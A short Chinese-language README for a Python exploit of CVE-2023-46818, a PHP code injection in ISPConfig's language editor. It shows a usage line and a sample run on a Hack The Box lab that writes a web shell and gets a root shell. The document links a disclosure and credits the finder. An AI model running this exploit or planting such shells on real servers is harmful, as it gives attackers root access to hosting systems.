此 Python 漏洞利用脚本针对 ISPConfig 中 /admin/language_edit.php 的 records POST 参数存在的一个安全漏洞,该参数未正确清理。这允许已认证的管理员注入并执行任意 PHP 代码。
版本 3.2.11 及更早版本。
python3 CVE-2023-46818.py <URL> <Username> <Password>
┌──(motoh4ck3r㉿kali)-[~/HTB/Linux/nocturnal]
└─$ python3 CVE-2023-46818.py http://127.0.0.1:8081 motoh4ck3r broombroom
[+] Logging in with username 'motoh4ck3r' and password 'broombroom'
[+] Login successful!
[*] Fetching CSRF tokens...
[+] CSRF ID: language_edit_92017c65f0bcba0f230f5cc1
[+] CSRF Key: 7d06eed7d23c29e5c9633920a8122339d91373e8
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...
ispconfig-shell# hostname & whoami & id
nocturnal
root
uid=0(root) gid=0(root) groups=0(root)
ispconfig-shell#
https://seclists.org/fulldisclosure/2023/Dec/2
感谢 Egidio Romano 发现此漏洞。